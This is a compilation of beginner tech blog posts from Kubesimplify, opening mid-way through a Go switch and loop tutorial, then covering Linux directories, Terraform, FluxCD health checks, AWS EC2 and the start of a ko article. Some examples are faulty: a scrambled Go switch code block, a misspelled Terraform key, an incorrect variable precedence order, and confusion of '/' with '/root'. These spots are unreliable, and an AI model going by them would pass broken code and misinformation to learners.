The switch statement tests the value of an expression and compares it with multiple cases. Once the case match is found, a block of statements associated with that particular case is executed. Each case in a block of a switch has a different name, or a number, or a value, which is referred to as an identifier. The value that's provided in the expression is compared with all the cases inside the switch block until the match is found.

> In case no match is found, the default statement is executed, and the control goes out of the switch block.

Example :
```
var i int = 100
>>> go run main.go
i is either 100 or 200
switch i {
}
case 10:
fmt.Println("i is 10")
case 100, 200:
fmt.Println("i is either 100 or 200")
default:
fmt.Println("i is neither 0, 100 or 200")
}
```
> fall-through


The *fall-through* keyword is used in switch-case, to force the execution flow to fall through the successive case block.

How *fall-through* keyword works?

It keeps on falling through the successive case block until we find the default keyword
and the entire switch-case ends or until it finds a case, which does not consist of the *fall-through* keyword.
```
var i int = 10
switch i {
    case -5: 
        fmt.Println("-5")
    case 10:
        fmt.Println("10")
        fallthrough
     case 20:
        fmt.Println("20")
        fallthrough
     default :
        fmt.println("default")
}
```

### Switch with conditions

Instead of using a single value, we can even use conditional statements for switch.
In below case, we do not need to mention an expression after switch. We can simply write our conditions inside the case blocks itself.
```
switch {
   case condition_1:
      // execute when condition_1 is true
   case condition_2:
      // execute when condition_2 is true
   default:
      // execute when no condition is true
  }
```
Example :
```
var a, b int = 10, 20
switch {
    case a+b == 30:
        fmt.Println("equal to 30")
    case a+b <= 30:
        fmt.Println("less than or equal to 30")
    default:
        fmt.Println("greater than 30")
}
```
> Go uses an implicit break statement for each case.

## Loop 

A loop is a sequence of instructions that is continually repeated until a certain condition is reached.

Below is the syntax for for loop :
```
for initialization; condition; post {
       // statements
}
```
- First, we have the for keyword. 
- Then we have the initialization statement. It is optional, and it executes before the for loop starts. It is mostly used in simple statements
like variable declarations or increment or assignment statement.
- Then we have the condition statement. It holds a Boolean expression, which is evaluated at the starting of each iteration of the loop. If the value of the conditional statement is true, then the loop will execute.
- Then we have the post statement, which is also optional and is executed after each iteration of the for loop. After the post statement,
the condition statement evaluates again. If the value of the conditional statement is false, then the loop ends.

Example :

```
for i := 1; i <= 3; i++ {
    fmt.Println("Hello World")
}


OUTPUT :

Hello World
Hello World
Hello World
``` 
> Infinite loop

An infinite loop is a looping construct that does not terminate the loop and executes the loop forever.

Example : 
```
sum := 0
for {
    sum++   // repeated forever
}
    fmt.Println(sum)   // never reached
```

> break 

The break statement ends the loop immediately when it is encountered.
 
```
for i := 1; i <= 5; i++ {
     if i == 3 {
        break
      }
     fmt.Println(i)
}


OUTPUT :

1
2
```
> continue

The continue statement skips the current iteration of the loop and continues with the next iteration.

```
for i := 1; i <= 5; i++ {
     if i == 3 {
       continue
      }
     fmt.Println(i)
}


OUTPUT :

1
2
4
5
```

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Linux System Directories Explained

- Canonical: https://blog.kubesimplify.com/linux-system-directories-explained
- Published: 2022-05-26
- Summary: If you are a beginner and want to get familiar with the Linux file system. This blog is for you! Learn functionalities of Linux system Directories.

# Introduction to Linux

![image.png](/img/blog/linux-system-directories-explained/mnae9uSeT.png align="center")

Linux is an open source operating system that makes it possible for you to play with your computer. It was created in 1991 by a University of Helsinki student, Linus Torvalds. His goal was to create a free version of the **MINIX**(Mini+Unix) Operating system, which was based upon Unix, and today it's used everywhere, such as, in the vast majority of web servers, embedded systems like Smart TV, and Mobile devices running android.   
  
By far it is the best choice for your personal computer with many different distros to choose from, like Debian, Arch and Fedora to name a few. Just like Windows and macOS, Linux manages a computer's Memory and Processes, allowing hardware to communicate with the software.   

When you fire up a Linux machine, a bootloader will first put the system into memory. At its core, we have the kernel, which is like a layer between the software and the hardware which makes everything possible. Speaking plainly, It basically converts input/output requests from software into an instruction set for the hardware. Now beyond the Kernel, we have the applications that make the OS usable for the users which are provided primarily via the [GNU](https://www.gnu.org/home.en.html) project. For example, a shell to interact with the kernel from the command line, developer utilities and countless other applications.     

![gif](https://media.giphy.com/media/JmJMzlXOiI0dq/giphy.gif align="center")


# Linux Directories aka “Folders”
Everything in Linux is represented by a file or a folder which we call Directories, it's a cryptic mesh of directories defined by the [File System Hierarchy Standard](https://refspecs.linuxfoundation.org/FHS_3.0/fhs/index.html).   

To get started, open your terminal, assuming you are on a Linux machine, WSL is fine as well. Else you can also start a free Linux instance on [Google Cloud Shell](https://shell.cloud.google.com/).    

Notice how we are logged in as a root user on the Linux machine 
```
user@host:~$
```
Here `user` is the username of the user and `host` is the name of your laptop or computer.  

Currently, we are in the home directory of the user, which is denoted by `~`.    
Type `pwd` to see the “Present Working Directory” of the root user.
```
 user@host:~$ pwd
 /home/user
```
Now use `cd /` to go to the `/root` directory of the file system. It is the first or top-most directory in a hierarchy. It can be compared to the trunk of a tree, as the starting point where all branches originate from.   

![image.png](/img/blog/linux-system-directories-explained/7f_ypWYSW.png align="left")

```
user@host:~$ cd /
user@host:/$
```
As you can see, we are in root now. Denoted by `/`. Type `ls` to see all the subdirectories in the system. These are your critical system files.
```
user@host:/$ ls
bin     dev      home    lib    lib64    lost+found    mnt     lib32
proc    root     sbin    srv    tmp      var           boot    libx32
etc     init     media   opt    run      sys           usr     snap
```
Let us now learn about various different system directories.   

## 1.  📂`/bin` 

![image.png](/img/blog/linux-system-directories-explained/gNlKqjkgj.png align="left")

This directory is also known as “Binaries”. It contains executables that are essential to the entire operating system. You can run these binaries from the command line at any time. Commands such as `ls`, `clear`, etc are stored here.   
You can view them by first navigating to the `/bin` directory and running `ls`.
```
user@host:/$ cd bin
user@host:/bin$ ls
```

## 2.  📂`/sbin`

![image.png](/img/blog/linux-system-directories-explained/xsmRczkj0.png align="left")

This stands for  “Super User Binaries”, it contains system binaries that can only be executed by the root user(also known as *Super-User*). For example, commands such as `mount`, `deluser` or `adduser`. 
> Note: `sudo`(Superuser Do) as a prefix is used to execute such commands. 
```
user@host:/$ sudo <command>
```
   
The same method is followed to view executable programs in this directory, which is:
```
user@host:/bin$ cd ..
user@host:/$ cd sbin
user@host:/sbin$ ls
```

## 3.  📂`/lib`

![image.png](/img/blog/linux-system-directories-explained/gMpAE-GY3.png align="left")

`/lib` stands for  “Libraries”. `/lib` directory contains essential libraries and kernel modules. It also contains shared library images needed to boot the system and run the commands in the root filesystem, ie. by binaries in `/bin` and `/sbin`.   

`/lib32`, `/libx32` and `/lib64` are used on 64-bits systems to separate libraries for 32, x32 and 64-bits.  

## 4.  📂`/usr/bin`

![image.png](/img/blog/linux-system-directories-explained/six8VBTPj.png align="left")

Now we also have a  “User” directory with its own `/bin` and `/sbin` directories. The binaries or applications here are non-essential to the operating system and are intended for the end user.  

## 5.  📂`/usr/local/bin` 

![image.png](/img/blog/linux-system-directories-explained/H1TfWcvln.png align="left")

You'll also notice a  “Local” directory under `/usr`. It contains any binaries that you compile manually to provide a safe space that won't conflict with any software installed by the system package manager.   

## 6.  📂`/etc`

![image.png](/img/blog/linux-system-directories-explained/Abr0mO45e.png align="left")

Now at some point, you may want to customise the behaviour of the software installed on your system. The `/etc` directory stands for  “Etcetera” or  “Editable text Configuration”. Many of the files in this directory end with `.conf` and they're typically just text based config files that you can modify in your code editor.  

## 7.  📂`/home`

![image.png](/img/blog/linux-system-directories-explained/hZFbLAGdM.png align="left")

As an operating system, Linux can support multiple users. In the `/home` directory you'll find a folder named after each user registered on the system. It contains the files, configuration and software for that user and you need to be logged in as that user or root user to modify it.   

## 8.  📂`/boot`

![image.png](/img/blog/linux-system-directories-explained/iyw4rdpLE.png align="left")

It contains files needed to boot the system, like the Linux Kernel itself.   

## 9.  📂`/dev`

![image.png](/img/blog/linux-system-directories-explained/660m1z8Kb.png align="left")

Then we have `/dev` which stands for “Device Files”. Here you can interact with hardware or drivers as if they are regular files. You might create disk partitions here.  

## 10.  📂`/opt`

![image.png](/img/blog/linux-system-directories-explained/7welDfY0m.png align="left")

The `/opt` directory contains optional or add-on software, and you will rarely interface with it.

## 11.  📂`/var`

![image.png](/img/blog/linux-system-directories-explained/dD6GwILh2.png align="left")

`/var` contains variable files that will change as the operating system is being used. Things like logs and cache files stay here.

## 12.  📂`/tmp`

![image.png](/img/blog/linux-system-directories-explained/q6dSRtwIn.png align="left")

`/tmp` is for temporary files that won't be persisted between reboots.  

## 13.  📂`/lost+found`

![image.png](/img/blog/linux-system-directories-explained/KU5PzYxMc.png align="left")

`/lost+found` as the name suggests, contains files that are typically unlinked (i.e. their name had been erased) but still opened by some process (so the data wasn't erased yet). These files are prone to be deleted due to multiple reasons such as kernel panic, power failure and hardware or software bugs.    

You don't need to care about them, these files may or may not contain useful data, and even if they do, they may be incomplete or out of date.  

## 14.  📂`/proc`

![image.png](/img/blog/linux-system-directories-explained/5NLeUb_RR.png align="left")

This is probably the weirdest directory of all. The `/proc` directory is an illusionary file system that doesn't actually exist on the disk, but is created in memory on the fly by the Linux kernel to keep track of running processes.   

![gif](https://media.giphy.com/media/mO7zIWExMpWRG/giphy.gif align="center")

Now you hopefully know what these directories mean and what they are used for.😄     

Make sure to react to this blog if you liked it, comment down your feedback and compulsorily Join [Kubesimplify](https://kubesimplify.com/) community for more awesome tech content.

---

# Let's Learn: Terraform

- Canonical: https://blog.kubesimplify.com/lets-learn-terraform
- Published: 2022-05-25
- Summary: About Terraform. It's components, workflow, expressions, state data, functions, workspaces and more.

## What is Terraform?
- Terraform is an **Infrastructure Automation tool**.
- It is **Open Source** and **Vendor Agnostic**.
- It is a Single binary compiled from **Go**.
- It follows **Declarative** syntax.
- It uses **HashiCorp Configuration Language**(HCL) or **JSON**.
- Deployment is **push** based.

## Core Components
- Executable
    - Can be downloaded from official [Terraform](https://www.terraform.io/downloads) webpage.
- Configuration files
- Provider plugins
- State data

## Terraform Code Components
- It can be divided into 3 parts:
    - Inputs - Terraform gets input by leveraging variable(s).
    - Outputs - The data in the output block is printed to screen.
    - Logic - Your IaC.

## Object Types
- Providers
- Resources
- Data sources

## Terraform Syntax
- HashiCorp uses **Block** syntax

    ```
        block_type "label" "name_of_label" {
            key = "value"

            nested_block{
                key = "value"
            }
        }       
  ```
## Workflow
1. `terraform init`
    - Looks for configuration files in current working directory and examines them. If they need any provider plugins, it will search in public Terraform registry unless any specified location provided.

    - Terraform needs to store data of configuration somewhere as part of **init** process. A state data file will be created in current directory unless any specified backed it created or pointed.

    - When **init** completes, infrastructure is ready to be deployed.

2. `terraform plan`
    - This  step is optional.
    - It will look current configuration i.e. contents of state data and determine the difference. Then it draws a plan for **Target** environment to match the desired configuration.

3. `terraform apply`
    - It will build our desired configuration in Target environment.

4. `terraform destroy`
    - It will bring down the infrastructure of desired configuration in Target environment.

## Terrafrom variable
- Variable declaration
    ```
        variable "name_of_variable" {}
     ```

- Variable definition
    ```
        variable "name_of_variable" {
            type = value
            description = "value"
            default = "value"
            sensitive = true or false
        }
    ```
    - Example
        ```
            variable "device_name" {
                type = string
                description = "Provides the Device name"
                default = "computer"
                sensitive = true
        }
        ```

- **type** - Data type
- **Description** - Context for the user. It will be displayed when the user encountered an error.
- **default** - This value will be considered if no value has been provided.
- **sensitive** - If it is 'true', data will not be printed in logs or terminal. If 'false', vice versa. Default sticks to 'false'.

- Referencing a variable
    ```
        var.<name_of_variable>
    ```
    - Example
        ```
            var.device_name
        ```

- **Hierarchy**
    - For variable(s) data or value, Terraform designed a precedence chart.
    - Precedence

        `
       Environment variable(s) > .tfvars (or) .tfvars.json > .auto.tfvars (or) .auto.tfvars.json > -var-file flag > - var flag > CLI  
       `

## Terraform Data Types
- **Primitive**
    - **string**
    - **number**
        - integer
        - decimal
    - **boolean**
        - true
        - false

- **Collection**
    - **list**
        - Enclosed with **[ ]**
        - Example
            ```
                [1,2,3]
                ["Mobile", "Computer", "Laptop"]
            ```
        - Variable reference
            - Example
            ```
               variable "list_of_device_types"{
                   type = list(string)
                   description = "Provides list of device types"
                   default = ["Mobile","Computer","Laptop"]
               } 
            ```
            - Syntax
                ```
                    var.<name_of_variable>[<element_number>]
                ```
                - Example
                    - var.list_of_device_types[0]
                    - For accessing first element in list. Likewise for other elements accessing.
            
    - **set**
        - Same syntax as list and do not hold duplicates.
    - **map**
        - Enclosed with **{ }**
        - Example
            ```
                {
                    India = "Delhi"
                    USA = "Washigton"
                    Canada = "Ottawa"
                }
            ```
        - Variable reference
            - Example
                ```
                    variable "capitals"{
                        type = map(string)
                        description = "Provides captials for countries."
                        default = {
                            India = "Delhi"
                            USA = "Washigton"
                            Canada = "Ottawa"
                        }
                    }
                ```
            - Syntax
                ```
                    var.<name_of_variable>.<name_of_the_key>

                    or

                    var.<name_of_the_variable>["name_of_the_key"]
                ```
            - Example
                - var.capitals.India or var.capitals["India"]
                - For accessing first element in map. Likewise for other elements accessing.
    - Note: Should hold same type of data.

- **Structural**
    - type
    - object

## Terrafrom Locals
- Values provides in locals are computed inside the configuration and cannot be passed as parameter during runtime.

- Syntax
    ```
        locals{
            key : "value"
        }
    ```
- Example
    ```
        locals{
            name_of_the_company = "ThunderWonder"
        }
    ```
- Referencing locals
    - syntax
        ```
            local.<name_of_the_variable>
        ```
    - Example
        ```
            local.name_of_the_company
        ```

## Terraform Output
- Output values are extracting information from Terraform.
- Output is printed to terminal screen at the end of configuration execution.
- It also exposes values when a configuration is placed inside a module.

- Syntax
    ```
        output "name_of_the_variable"{
            value = output_to_be_exposed
            description = string
            sensitive = true | false
        }
    ```
- Example
    ```
        output "selected_device"{
            value = var.list_of_device_types[0]
            description = "Prints selected device(s).
        }
    ```

**Tip**: If you want to validate your Terraform code. Type `terraform validate`.
- First run `terraform init`.
- `terraform validate` will check for your syntax and logic.
- It will not guarantee for successful deployment.

## Terraform State Data
- It stored in **JSON** format
    - **Important**: It should not be modified. To work with **State Data**, we can use **State** commands.
- It contains **Resource Mapping** and metadata.
- It can be stored in:
    - Local (Default, by name **terraform.tfstate**)
    - Remote (Basically Cloud Providers)
        - Ex: AWS, Azure, Terraform Cloud, etc.

- **State Commands**
    - `terraform state list`
        - To list all state resources.
    - `terraform state show <ADDRESS>`
        - To show a specific resource.
        - Example : 
            ```
            terraform state show module web_app_s3.aws_s3_bucket.web_bucket
            ```
    - `terraform state mv SOURCE DESTINATION`
        - To move an item in state file.
    - `terraform state rm <ADDRESS>`
        - To remove an item in state file.
        - Example:
            ```
                terraform state rm module web_app_s3.aws_s3_bucket.web_bucket
            ```
    - `terraform state pull`
        - Output current state to stdout.
    - `terraform state push`
        - Update remote state from local.
## Terraform Providers
- It contains Public & Private registries.
- Registries types are:
    - Official
        - Maintained by **HashiCorp**.
    - Verified
        - Maintained by **Third Party** and verified by **HashiCorp**.
    - Community
        - Maintained by Individuals in Community and not verified.
- Providers are **Open Source** and written in **Go Lang**.
- It has Resources and Data Sources.
- Providers are versioned.

## Terraform Block Syntax
- It is used for configuring **General Settings** of **Terraform Configuration** like,
    - Version
    - Backend Settings for State Data
    - Required Provider Plugins
    - Provider metadata
    - Experimental features
- Syntax
    ```
        terraform{
            requried_providers {
                provider_name = {
                    source = "provider's_address"
                    version = "version_expression"
                }
            }
        }
    ```
    - Example
        ```
           terraform{
            requried_providers {
                aws = {
                    source = "hashicorp/aws"
                    version = "=3.0"
                }
            }
        } 
        ```

## Terraform Looping Constructs
- **count**
    - Takes integer and used as iterator.
    - `index` is used to keep track of count.
    - **Example**
        ```
            resource "aws_instance" "web_app_server"{
                count = 3
                tags = {
                    Name = "web-app-Instance-${count.index}
                }
            }
        ```
    - **Referencing**
        - Referring single instance
            ```
                    <resource_type><name_of_the_variable>[element].<attribute>
            ```
        - Referring all the instances
            ```
                    <resource_type><name_of_the_variable>[*].<attribute>
            ```

- **for_each**
    - used to for iterating Map or set/list.
    - **Example**
        ```
            resource "aws_s3_bucket_object" "website_content"{
                for_each = {
                    app_logo = "app-logo.png"
                    main_page = "index.html"
                }
                key      = each.value
                source   = "${each.value}"
            }
        ```
    - **Referencing**
        ```
            <resource_type><name_of_the_variable>[key].<attribute>
        ```
- **Dynamic block**
    - used to for iterating Map or set/list.

## Terraform Inbuilt Functions
- Numeric Functions
- String Functions
- Collection Functions
- Encoding Functions
- Filesystem Functions
- Date and Time Functions
- Hash & Crypto Functions
- IP Network Functions
- Type Conversion Functions
- You can play around with in-built functions. Type `terraform console` and test it out.
- Example
    
     ![Functions.png](/img/blog/lets-learn-terraform/T7w18-XMe.png align="left")


- Check out [Terraform Functions](https://www.terraform.io/language/functions) documentation for respective function methods, and it's usage.
- Note: **Terraform** does not support for **User-defined** functions.

## Terraform FOR Expression
- **Input type**:
    - List, Set, Tuple, Map or, Object.
- **Result type**:
    - Tuple or Object
- Filtering is possible by leveraging **if** statement.

- **Examples**
    - **Tuple**
        - **Syntax**
            ```
                [for item in items : tuple_element]
            ```
        - **Example**
            ```
                locals{
                        devices = ["Mobile", "Laptop", "Tablet"]
                }

                [for device in local.devices : "Awesome-${device}"]
            ```
        - **Result**
            
          ![For_Tuple.png](/img/blog/lets-learn-terraform/ipDb8qVF4.png align="left")

    - **Object**
        - **Syntax**
            ```
                {for key, value in map : obj_key => obj_value}
            ```
        - **Example**
            ```
                locals{
                    type_of_device{
                        Mobile = "compact"
                        Laptop = "productive"
                    }
                }

                {for key, value in local.type_of_device : key => upper(value)}
            ```
        - Result
            
           ![For_Object.png](/img/blog/lets-learn-terraform/zwIYlHmBn.png align="left")


## Terraform Workspaces
- Terraform creates a initial workspace for us called **default**.
- It cannot be deleted.
- We can create workspace(s) per our requirement and management.
    - Management like
        - State management
        - Variable values
        - Credential management, etc.
- **workspace** commands
    - `terraform workspace list` - To show all existing workspaces.
    - `terraform workspace select <workspace_name>` - To switch to desired workspace.
    - `terraform workspace new <workspace_name>` - To create & switch to new workspace.
    - `terraform workspace delete <workspace_name>` - To delete existing workspace.
    - `terraform workspace show` - To print current working workspace. 
    - Example
       
       ![Workspaces.png](/img/blog/lets-learn-terraform/u2oR4JsBM.png align="left")


## Additional Resources
- ** Wanna try or start your **Terraform** practice ?**
    - Start your **Terraform** practice today. For head start or reference check out my [Terraform practice](https://github.com/saipraneeth5/Terrafrom_Practice/tree/master) at GitHub. Feel free to fork and enhance your **Terraform** practice.
- Interested  to learn more about variables like validations, limitations? Do check [How to Use Terraform Variables](https://spacelift.io/blog/how-to-use-terraform-variables).

---

# Quick Bites of FluxCD: Health Assessment

- Canonical: https://blog.kubesimplify.com/quick-bites-of-fluxcd-health-assessment
- Published: 2022-05-24

## TL;DR: Code, please!

%[https://github.com/dirien/quick-bites/tree/main/flux-health]

During KubeCon EU, I talked with [Stefan Prodan](https://twitter.com/stefanprodan) about a way to delay the deployment
of workload. I told him, that I use `dependsOn` but this did not check if the deployed resources are ready.

He suggested, that I have a look into Health checks. Health checks are available in the `Kustomization` resource.

## How to implement health checks

As stated before, a Kustomization can contain health checks, actually a whole series of them. This will be used to
determine the rollout status of the deployed workloads. In addition, you can check the ready status of custom resources
too.

To enabled health checking, just set `spec.wait` and `spec.timeout`. This will be valid for all the reconciled resources.

```yaml
apiVersion: kustomize.toolkit.fluxcd.io/v1beta2
kind: Kustomization
metadata:
  name: quick-bites-services
  namespace: flux-system
spec:
  interval: 5m0s
  path: ./flux-health/deployment/services
  prune: true
  wait: true
  timeout: 2m
  sourceRef:
    kind: GitRepository
    name: quick-bites
```

If you want to check the only certain resources, you need to list them under `spec.healthChecks`.

> Remember: when `spec.wait` is set, the `spec.healthChecks` field will be ignored.

The following types can be referenced by health check entries:

* Kubernetes builtin kinds: Deployment, DaemonSet, StatefulSet, PersistentVolumeClaim, Pod, PodDisruptionBudget, Job,
  CronJob, Service, Secret, ConfigMap, CustomResourceDefinition
* GitOps Toolkit kinds: HelmRelease, HelmRepository, GitRepository, etc
* Custom resources that are compatible
  with [kstatus](https://github.com/kubernetes-sigs/cli-utils/tree/master/pkg/kstatus)

```yaml
apiVersion: kustomize.toolkit.fluxcd.io/v1beta2
kind: Kustomization
metadata:
  name: quick-bites-services
  namespace: flux-system
spec:
  interval: 1m0s
  path: ./flux-health/deployment/services
  prune: true
  healthChecks:
    - apiVersion: apps/v1
      kind: DaemonSet
      name: contour-envoy
      namespace: contour
  sourceRef:
    kind: GitRepository
    name: quick-bites
```

After applying the `Kustomization` resource, the controller tries to verify if the rollout completed successfully.

If the deployment went successfully through, the condition on `Kustomization` resource is marked as `true`. If the
deployment failed, or timeout, then the `Kustomization` ready condition will be `false`.

In case the deployment becomes healthy on the next execution cycle, then the `Kustomization` will be marked as ready.

If the `Kustomization` contains `HelmRelease` objects, you can define a health check that waits for the `HelmReleases` to
be reconciled.

```yaml
apiVersion: kustomize.toolkit.fluxcd.io/v1beta2
kind: Kustomization
metadata:
  name: sock-shop
  namespace: flux-system
spec:
  interval: 1m0s
  path: ./flux-health/deployment/applications/sock-shop
  prune: true
  healthChecks:
  - apiVersion: helm.toolkit.fluxcd.io/v2beta1
    kind: HelmRelease
    name: contour
    namespace: contour
  sourceRef:
    kind: GitRepository
    name: quick-bites
```

## Combine health checks with `dependsOn`

We know that when applying a Kustomization, that we can define workloads that must be deployed before the Kustomization
will be applied. Best example is the `cert-manager`, as we may need to create a certificate in our actual deployment.

With the field `spec.dependsOn` we can bring these deployments into an order. The Kustomization with dependencies will be
applied only after the dependencies are ready.

```yaml
apiVersion: kustomize.toolkit.fluxcd.io/v1beta2
kind: Kustomization
metadata:
  name: sock-shop
  namespace: flux-system
spec:
  interval: 1m0s
  path: ./flux-health/deployment/applications/sock-shop
  prune: true
  dependsOn:
  - name: quick-bites-services
  healthChecks:
  - apiVersion: helm.toolkit.fluxcd.io/v2beta1
    kind: HelmRelease
    name: contour
    namespace: contour
  sourceRef:
    kind: GitRepository
    name: quick-bites
```

Now combine this with health assessment, and we have a perfect way to ensure that the current `Kustomization` will be
applied when all the dependencies are healthy.

## Demo

### Installation

For this demo, we will create a `kind` cluster and install `FluxCD` via the Helm chart:

```bash
kind create cluster --name flux-health
```

Takes a couple of minutes, to be ready:

```bash
Creating cluster "flux-health" ...
 ✓ Ensuring node image (kindest/node:v1.24.0) 🖼 
 ✓ Preparing nodes 📦  
 ✓ Writing configuration 📜 
 ✓ Starting control-plane 🕹️ 
 ✓ Installing CNI 🔌 
 ✓ Installing StorageClass 💾 
Set kubectl context to "kind-flux-health"
You can now use your cluster with:

kubectl cluster-info --context kind-flux-health

Not sure what to do next? 😅  Check out https://kind.sigs.k8s.io/docs/user/quick-start/
```

Now we apply the Helm chart:

```bash
helm repo add fluxcd-community https://fluxcd-community.github.io/helm-charts
helm repo update
helm upgrade -i flux2 fluxcd-community/flux2 --create-namespace --namespace flux-system
```

![image.png](/img/blog/quick-bites-of-fluxcd-health-assessment/R3avxYla4.png align="center")

Install Metallb, so we have a load balancer:

```bash
kubectl apply -f https://raw.githubusercontent.com/metallb/metallb/v0.12.1/manifests/namespace.yaml
kubectl apply -f https://raw.githubusercontent.com/metallb/metallb/v0.12.1/manifests/metallb.yaml
kubectl apply -f https://kind.sigs.k8s.io/examples/loadbalancer/metallb-configmap.yaml
```

> If you want to try this demo with a cloud provider, you may need this step.

Next we bootstrap our cluster with the actual deployment, for this I created a `bootstrap` folder, to apply
the `GitRepository` and `Kustomization` objects.

```bash
kubectl apply -f bootstrap/
kustomization.kustomize.toolkit.fluxcd.io/quick-bites-services unchanged
kustomization.kustomize.toolkit.fluxcd.io/sock-shop configured
gitrepository.source.toolkit.fluxcd.io/quick-bites unchanged
```

![image.png](/img/blog/quick-bites-of-fluxcd-health-assessment/_i8ip_hWl.png align="center")

![image.png](/img/blog/quick-bites-of-fluxcd-health-assessment/u23e-wMXv.png align="center")

![image.png](/img/blog/quick-bites-of-fluxcd-health-assessment/f1W6uekFj.png align="center")

You can see in the pictures, how the `Kustomization` wait for the health check to be ready. As soon the health checks are successful, the `sock-shop` deployment start.

### Housekeeping

We can delete the cluster with:

```bash
kind delete cluster --name flux-health
```

## Conclusion

Using health checks is a great way to ensure that the current `Kustomization` will be applied when the actual service is up and running,
and not only that, the Kubernetes objects are deployed.

---

# AWS Elastic Cloud Compute

- Canonical: https://blog.kubesimplify.com/aws-elastic-cloud-compute
- Published: 2022-05-23
- Summary: Everything you need to know about an AWS EC2 instance.

## AWS Elastic Cloud Compute Instance
- **Elastic Cloud Compute** is abbreviated as **EC2**.
- It is an **IaaS** cloud offering by **Amazon**.
- Using EC2 Instance, we can configure the machine from scratch, like a building a custom PC. But here it is done virtually by making few clicks.
- EC2 Instance configurable components
    - **Operating System(OS)**
        - Example: Ubuntu, Windows, MAC.

    - **Instance type**
        - Here we define CPU computing hardware requirements.
            - vCPU
            - Memory
            - Instance Storage type, etc.
    
    - **Instance configuration**
        - No. of Instances
        - Network related configuration, etc.

    - **Storage**
        - Size
        - Volume type
        - Encryption, etc.

    - **Security Group**
        - In a nutshell, it is a set of firewall conditions used to control the Instance traffic.

## **How to Launch an EC2 Instance**
1. **Prerequisite**
    
    Amazon Web Services(AWS) account.

2. **Steps**
    1. Login to your [AWS](https://signin.aws.amazon.com/signin?redirect_uri=https%3A%2F%2Fconsole.aws.amazon.com%2Fconsole%2Fhome%3Ffromtb%3Dtrue%26hashArgs%3D%2523%26isauthcode%3Dtrue%26nc2%3Dh_ct%26src%3Dheader-signin%26state%3DhashArgsFromTB_us-west-2_b5dfbb7688098e68&client_id=arn%3Aaws%3Asignin%3A%3A%3Aconsole%2Fcanvas&forceMobileApp=0&code_challenge=X9G-NZkthzEsafDdh0IfSHVt1It3-JZNZRLrHibGOAA&code_challenge_method=SHA-256) account.

    2. Click on Search bar and type **EC2**. Select **EC2**.

        ![EC2_Access_Method2.png](/img/blog/aws-elastic-cloud-compute/uREBteMKf.png align="left")

    3. You will be landed into **EC2 Dashboard** page. Select **Instances**.

        ![Select_Instance_Method1.png](/img/blog/aws-elastic-cloud-compute/iOD8tDsQa.png align="left")

    4. Select **Launch Instances**.

        ![Select_Launch_Instances.png](/img/blog/aws-elastic-cloud-compute/MPZdeblsP.png align="left")

    5. Based on opted user experience, creation of EC2 differs.

        a. If user opted for **New Experience**. 
        
        - Scroll down the **Launch an Instance** page to navigate. 

        - (optional) Adding tags. But adding appropriate tags is useful.
        ![New_EC2_Setup_Step1.png](/img/blog/aws-elastic-cloud-compute/SJFDccN2l.png align="left")

        - Select your desired Operating System.
        ![New_EC2_Setup_Step2.png](/img/blog/aws-elastic-cloud-compute/yhsdT7r-6.png align="left")

        - Choose your **Instance** type.
        ![New_EC2_Setup_Step3.png](/img/blog/aws-elastic-cloud-compute/QdryAWDaF.png align="left")

        - (Optional) Creating a Key pair. You can provide an existing Key pair, or you can create one if needed, or you can create a Key pair [later](https://praneethkondraju.hashnode.dev/aws-key-pair-generation). Key pair provides remote access to your **EC2** instance using **Terminal** or **Putty** from your machine.
       ![New_EC2_Setup_Step4.png](/img/blog/aws-elastic-cloud-compute/YZ3IRy1-G.png align="left")

       - Network Settings. You are good to proceeds with defaults, or you can build your requirement.
    ![New_EC2_Setup_Step5.png](/img/blog/aws-elastic-cloud-compute/x5-7_EfHb.png align="left")

       - Configure Storage.
        ![New_EC2_Setup_Step6.png](/img/blog/aws-elastic-cloud-compute/Qg7iNGisb.png align="left")

        - Advanced details. Good to go with defaults or can be tweaked per requirement.
        ![New_EC2_Setup_Step7.png](/img/blog/aws-elastic-cloud-compute/3uoGsf-cO.png align="left")

        - One step to launch your **EC2** instance.
        Tip: Check all your configuration, before hitting **Launch Instance** button.
        ![New_EC2_Setup_Step8.png](/img/blog/aws-elastic-cloud-compute/7MpeButZL.png align="left")

        b. If user is in **Old Experience**.

        - Choose Operating System.
        ![Old_EC2_Setup_Step1.png](/img/blog/aws-elastic-cloud-compute/5moFG-P71.png align="left")

        - Choose Instance type.
        ![Old_EC2_Setup_Step2.png](/img/blog/aws-elastic-cloud-compute/tbq0lwxrW.png align="left")

        - Configure Instance details.
        ![Old_EC2_Setup_Step3.png](/img/blog/aws-elastic-cloud-compute/mUAeeFs14.png align="left")

        - Add Storage.
        ![Old_EC2_Setup_Step4.png](/img/blog/aws-elastic-cloud-compute/syLX1Qv7y.png align="left")

        - (optional) Adding tags. But adding appropriate tags is useful.
        ![Old_EC2_Setup_Step5(1).png](/img/blog/aws-elastic-cloud-compute/7Q5w-6wRl.png align="left")

        - Configure Security group.
        ![Old_EC2_Setup_Step6.png](/img/blog/aws-elastic-cloud-compute/CbbKCZT1M.png align="left")

        - Review your configuration and hit **Launch**.
        ![Old_EC2_Setup_Step7.png](/img/blog/aws-elastic-cloud-compute/o_WDwk-HU.png align="left")

        c. **Voilà!!**, you launched your **EC2** instance.

## **Types of various EC2 Instance, and it's purpose**

1. **General Purpose**
    - This type of instance is an all round performer. It covers compute, memory and networking areas and can be used for different kinds of work loads.
    - Suitable for most of the use cases based on selected configuration.
    - Ex: Web Servers, development environments like development, testing, QA, etc.
2. **Compute Optimized**
    - Compute Optimized instance is preferred for high performance workloads that require high amount of computational power for delivering the best performance.
    - Ex: Running batch jobs, High performance tasks, etc.
3. **Memory Optimized**
    - Memory Optimized instance is used to for performance intended works.
    - Ex: Caching, Data analysis, etc.
4. **Accelerated Computing**
    - Accelerated Computing instance offers GPU's. So, it enhances the computational tasks.
    - Ex: Machine Learning tasks, etc. 
5. **Storage Optimized**
    - Storage Optimized instance offers fast read/write speeds and is ideal for frequent data operations task.
    - Ex: Accessing/ Inserting data from/to Database, etc.

---

# Getting started with ko: A fast container image builder for your Go applications

- Canonical: https://blog.kubesimplify.com/getting-started-with-ko-a-fast-container-image-builder-for-your-go-applications
- Published: 2022-05-20

With the rise of containerization, it becomes essential to deploy applications as containers and manages them through orchestration systems at scale. If you are already familiar with containerization, I assume you are because the basic containerization knowledge is required for this article. The first step you should do is create container images for your applications. 

